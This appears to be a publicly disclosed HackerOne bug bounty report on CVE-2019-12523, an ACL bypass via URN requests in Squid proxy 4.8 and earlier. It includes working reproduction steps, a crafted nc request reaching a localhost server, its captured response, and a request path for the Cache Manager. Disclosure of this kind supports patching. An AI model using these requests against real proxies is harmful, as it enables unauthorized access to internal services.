HexBrain

Internet Bug Bounty · Report #824802

URN Request bypass ACL Checks

Validstatus
criticalseverity
23upvotes
26 Aug 2021disclosed

How it was found

Summary:

Attacker can bypass ACL checks gaining access to restricted HTTP servers such as those running on localhost. Attacker could also gain access to CacheManager if VIA header is turned off. Only lines with : will be readable though, and the response must be less than 4096 bytes or it'll trigger the Heap Overflow I reported earlier.

This is due to URN request being transformed into HTTP request, and not going through the ACL checks that incoming HTTP request go through.

<= Squid-4.8 Vulnerable Fixed in Squid-4.9 Squid Announce: http://www.squid-cache.org/Advisories/SQUID-2019_8.txt Assigned CVE-2019-12523

Steps To Reproduce:

Enable URN by adding the following entry to Safe_ports

acl Safe_ports port 0           # urn

Ensure that you're blocking request to localhost

http_access deny to_localhost
  1. Start Squid
./sbin/squid 
  1. Start a HTTP server on localhost serving a file that has colons
python -m http.server --bind 127.0.0.1 8080

Contents of hello.html

<html>
	<body>
	Notice: For localhost only
	</body>
</html>
  1. Make the following URN request
echo -e "GET urn::@127.0.0.1:8080/hello.html? HTTP/1.1\r\n\r\n" |nc <squid hostname> 3128

HTTP/1.1 302 Found
Server: squid/4.8
Mime-Version: 1.0
Date: Thu, 19 Mar 2020 18:11:20 GMT
Content-Type: text/html
Content-Length: 460
Expires: Thu, 19 Mar 2020 18:11:20 GMT
Location: 	Notice: For localhost only
X-Cache: MISS from g64
Via: 1.1 g64 (squid/4.8)
Connection: keep-alive

<TITLE>Select URL for urn::@127.0.0.1:8080/hello.html?</TITLE>
<STYLE type="text/css"><!--BODY{background-color:#ffffff;font-family:verdana,sans-serif}--></STYLE>
<H2>Select URL for urn::@127.0.0.1:8080/hello.html?</H2>
<TABLE BORDER="0" WIDTH="100%">
<TR><TD><A HREF="	Notice: For localhost only">	Notice: For localhost only</A></TD><TD align="right">Unknown</TD><TD> </TD></TR>
</TABLE><HR noshade size="1px">
<ADDRESS>
Generated by squid/4.8@g64
</ADDRESS>

Analysis

URN Request are different than other request coming into Squid. The original URN request is hardly parsed from Anyp::Uri::parse only setting a scheme and path.

AnyP::Uri::parse } else if (strncmp(url, "urn:", 4) == 0) { debugs(23, 3, "Split URI '" << url << "' into proto='urn', path='" << (url+4) << "'"); debugs(50, 5, "urn=" << (url+4)); setScheme(AnyP::PROTO_URN, nullptr); path(url + 4); return true; Once it's reached FwdState::Start it arrives in it's own URN code. The original URN request is then transformed into a new HTTP request.

UrnState::setUriResFromRequest char *host = getHost(uri); snprintf(local_urlres, 4096, "http://%s/uri-res/N2L?urn:" SQUIDSBUFPH, host, SQUIDSBUFPRINT(uri)); safe_free(host); safe_free(urlres); urlres_r = HttpRequest::FromUrl(local_urlres, r->masterXaction);

This new HTTP Request is sent directly to FwdState::Start without going through doCallouts or clientAccessChecks

UrnState::created FwdState::Start(Comm::ConnectionPointer(), urlres_e,urlres_r.getRaw(), ale);

This allows a user to reach HTTP servers that were meant to be blocked by Squid, e.g. localhost.

http://:@127.0.0.1:7331/PATH?/uri-res/N2L?urn::@127.0.0.1:7331/PATH?

Squid won't be able to callback into itself to access things like Cache Manager since the VIA header will be set. If a Squid server was configured to not send the Via header then this would give a user access to it. Here's a blog post that recommends removing VIA header to remove all Proxy headers https://adamscheller.com/systems-administration/remove-proxy-headers-squid/

If via is off a user could send a request such as below to gain access GET urn::@localhost:3128/squid-internal-mgr/active_requests? HTTP/1.1

Below is the CacheManager getting accessed via this: Breakpoint 2, CacheManager::start (this=0x603000000e80, client=..., request=0x61c00001f880, entry=0x60c00001ff00, ale=...) at cache_manager.cc:307 (gdb) p request->url->absolute_->store_.p_->mem $25 = 0x62900000f200 "http://g64:3128/squid-internal-mgr/active_requests?/uri-res/N2L?urn::@localhost:3128/squid-internal-mgr/active_requests?

A user abusing this won't see the full response, since URN handles URLs and looks for :. Therefore they would only see lines containing :

Also the current state of URN it's more likely that Squid would crash due to overflows than show the user any data. Once that is fixed this becomes a more reasonable way to leak internal responses.

Impact

Attacker can bypass all ACLs using an URN Request. This allows them to make HTTP GET Request to restricted resources. An attacker will be limited on what they can view from these request. Lines must contain : and the response must be less than 4096 bytes.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original